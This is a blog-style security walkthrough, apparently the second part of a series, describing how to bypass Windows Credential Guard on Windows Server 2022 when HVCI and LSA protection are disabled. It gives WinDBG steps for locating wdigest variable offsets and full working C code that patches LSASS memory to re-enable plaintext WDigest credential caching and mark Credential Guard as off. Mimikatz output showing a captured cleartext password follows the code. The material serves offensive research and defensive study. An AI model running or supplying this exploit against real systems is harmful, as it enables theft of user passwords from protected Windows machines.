Credential Guard Part 2

In part one, we looked at using DumpGuard to bypass Credential Guard protections.

This article is looking at another way of bypassing Credential Guard under specific circumstances.

In this scenario, Credential Guard and VBS are enabled. HVCI and RunAsPPL are disabled.

C:\Users\alice\Desktop>EnumMitigations.exe

[Device Guard]
VBS Status: Enabled
Credential Guard: Enabled
Memory Integrity (HVCI): Disabled
Configured Services: Credential Guard
Running Services: Credential Guard

[Tamper Protection]
Tamper Protection: Disabled

[Vulnerable Driver Blocklist]
Status: Disabled

The LSAISO process is responsible for storing credentials, but authentication requests are still passed through the LSASS process. As we previously saw, we can modify the g_fParameter_UseLogonCredential variable in LSASS memory to enable storage of plaintext WDigest credentials. The only additional step we need to take it also setting g_IsCredGuardEnabled to zero to trick LSASS into thinking credential guard is not in active on the system.


Calculating the Offset

I’m testing this on Windows Server 2022.

First, let’s determine the offsets to the necessary variables in WinDBG. We will need to switch to the LSASS process user mode context.

0: kd> !process 0 0 lsass.exe
PROCESS ffffd78f25962080
    SessionId: 0  Cid: 02e0    Peb: 9bba1ac000  ParentCid: 0238
    DirBase: 10f2a1000  ObjectTable: ffff928400376b00  HandleCount: 1089.
    Image: lsass.exe

0: kd> .process /i /p /r ffffd78f25962080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff800`79e1edc0 cc              int     3
0: kd> .reload
Connected to Windows 10 20348 x64 target at (Fri Feb 13 10:51:07.898 2026 (UTC + 0:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
...................
Loading User Symbols
................................................................
.......
Loading unloaded module list
..........
0: kd> lm m wdigest
Browse full module list
start             end                 module name
00007ffb`b79c0000 00007ffb`b7a03000   wdigest    (deferred)

Calculate the offset to g_IsCredGuardEnabled offset by subtracting it’s address from the wdigest base address.

0: kd> ? wdigest!g_IsCredGuardEnabled - wdigest
Evaluate expression: 248496 = 00000000`0003cab0

And do the same with g_fParameter_UseLogonCredential.

1: kd> ? wdigest!g_fParameter_UseLogonCredential - wdigest
Evaluate expression: 248484 = 00000000`0003caa4

Exploit Code

The below user mode code calculates the base address of the WDigest module in LSASS, and writes values to the offsets we discovered using WinDBG.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "Psapi.lib")


BOOL EnableSeDebugPrivilege(void)
{
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        printf("OpenProcessToken failed. Error: %lu\n", GetLastError());
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        printf("LookupPrivilegeValue failed. Error: %lu\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
    {
        printf("AdjustTokenPrivileges failed. Error: %lu\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    {
        printf("SeDebugPrivilege not assigned.\n");
        CloseHandle(hToken);
        return FALSE;
    }

    CloseHandle(hToken);
    return TRUE;
}


int main(int argc, char* argv[])
{
    DWORD pid;
    HANDLE hProcess;
    HMODULE hMods[1024];
    DWORD cbNeeded;
    unsigned int i;

    if (!EnableSeDebugPrivilege())
    {
        printf("Failed to enable SeDebugPrivilege.\n");
        return 1;
    }

    if (argc != 2)
    {
        printf("Usage: credguard.exe <PID>\n");
        return 1;
    }

    pid = (DWORD)strtoul(argv[1], NULL, 10);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess)
    {
        printf("OpenProcess failed. Error: %lu\n", GetLastError());
        return 1;
    }

    if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
    {
        printf("EnumProcessModules failed. Error: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
    {
        char szModName[MAX_PATH];

        if (GetModuleBaseNameA(hProcess, hMods[i], szModName, sizeof(szModName)))
        {

            if (_stricmp(szModName, "wdigest.dll") == 0)
            {
                MODULEINFO modInfo;

                if (GetModuleInformation(hProcess, hMods[i],
                    &modInfo, sizeof(modInfo)))
                {
                    printf("wdigest.dll found!\n");
                    printf("Base Address : 0x%p\n", modInfo.lpBaseOfDll);
                    printf("Image Size   : 0x%lx\n", modInfo.SizeOfImage);


                    ULONG_PTR offset = 0x3caa4; //offset g_fParameter_UseLogonCredential
                    ULONG_PTR targetAddress = (ULONG_PTR)modInfo.lpBaseOfDll + offset;

                    UCHAR value;
                    SIZE_T bytesRead;


                    // g_fParameter_UseLogonCredential
                    if (ReadProcessMemory(hProcess, (LPCVOID)targetAddress, &value, sizeof(value), &bytesRead))
                    {
                        printf("[+] Wdigest g_fParameter_UseLogonCredential at offset 0x%lx: 0x%02X\n", offset, value);
                    }
                    else
                    {
                        printf("ReadProcessMemory failed. Error: %lu\n", GetLastError());
                    }


                    ULONG_PTR CGoffset = 0x3cab0; //offset g_fParameter_UseLogonCredential
                    ULONG_PTR CGtargetAddress = (ULONG_PTR)modInfo.lpBaseOfDll + CGoffset;


                    // g_fParameter_UseLogonCredential
                    if (ReadProcessMemory(hProcess, (LPCVOID)CGtargetAddress, &value, sizeof(value), &bytesRead))
                    {
                        printf("[+] Credential Guard g_IsCredGuardEnabled at offset 0x%lx: 0x%02X\n", CGoffset, value);
                    }
                    else
                    {
                        printf("ReadProcessMemory failed. Error: %lu\n", GetLastError());
                    }


                    UCHAR newValue = 0x01;
                    SIZE_T bytesWritten;

                    // Enable WDigest (wdigest!g_fParameter_UseLogonCredential)
                    if (WriteProcessMemory(hProcess, (LPVOID)targetAddress, &newValue, sizeof(newValue), &bytesWritten))
                    {
                        printf("[+] g_fParameter_UseLogonCredential: Successfully wrote 0x%02X to offset 0x%lx (Target Address: 0x%p)\n", newValue, offset, (void*)targetAddress);
                    }
                    else
                    {
                        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
                    }

                    UCHAR CGnewValue = 0x0;
                    SIZE_T CGbytesWritten;

                    // Is Credential Guard Active? (wdigest!g_IsCredGuardEnabled)
                    if (WriteProcessMemory(hProcess, (LPVOID)CGtargetAddress, &CGnewValue, sizeof(CGnewValue), &CGbytesWritten))
                    {
                        printf("[+] g_IsCredGuardEnabled : Successfully wrote 0x%02X to offset 0x%lx (Target Address: 0x%p)\n", CGnewValue, CGoffset, (void*)CGtargetAddress);
                    }
                    else
                    {
                        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
                    }

                }
                else
                {
                    printf("GetModuleInformation failed. Error: %lu\n",
                        GetLastError());
                }

                CloseHandle(hProcess);
                return 0;
            }

        }


    }

    printf("wdigest.dll not found in process %lu\n", pid);
    CloseHandle(hProcess);
    return 0;
}

Running the Code

Executing the code, we can see LSASS memory is successfully modified.

C:\Users\alice\Desktop>credguard.exe 736
wdigest.dll found!
Base Address : 0x00007FFAA6A40000
Image Size   : 0x43000
[+] Wdigest g_fParameter_UseLogonCredential at offset 0x3caa4: 0x00
[+] Credential Guard g_IsCredGuardEnabled at offset 0x3cab0: 0x01
[+] g_fParameter_UseLogonCredential: Successfully wrote 0x01 to offset 0x3caa4 (Target Address: 0x00007FFAA6A7CAA4)
[+] g_IsCredGuardEnabled : Successfully wrote 0x00 to offset 0x3cab0 (Target Address: 0x00007FFAA6A7CAB0)

And without needing to reboot the system, we can see Mimikatz will be able to intercept passwords for subsequent logins.

Authentication Id : 0 ; 3064543 (00000000:002ec2df)
Session           : Interactive from 0
User Name         : bob
Domain            : BORDERGATE
Logon Server      : DC01
Logon Time        : 15/02/2026 15:30:04
SID               : S-1-5-21-906755679-2821052173-3607654525-1107
	msv :	
	 [00000003] Primary
	 * Username : bob
	 * Domain   : BORDERGATE
	   * LSA Isolated Data: NtlmHash
	     KdfContext: 0af9e59fa46afd3df1ef7b3c4690bf91b593921fba729fa26daa1a63a966dbdb
	     Tag       : 80d2ce044c773cc6af7e76f9224b7082
	     AuthData  : 0100000000000000000000000000000001000000340000004e746c6d48617368
	     Encrypted : 8c45138169847617adea831586d7c7a06620eb0e12957d30909c256f3d65e86964baabc59ec9c49f1e1eb7aa34e85bfccd5fc67b
	 * DPAPI    : a2c60e5f85c6373d0f943b6614a50b8a
	tspkg :	
	wdigest :	
	 * Username : bob
	 * Domain   : BORDERGATE
	 * Password : Password1
	kerberos :	
	 * Username : bob
	 * Domain   : BORDERGATE.LOCAL
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

In Conclusion

If PPL protection is enabled on LSASS, you will need to enter the Kernel address space. If credential guard is enabled, VBS must also be active. As such have previously modified (g_CiOptions) to disable driver signing checks will be protected. You will need to disable PPL directly using a vulnerable driver.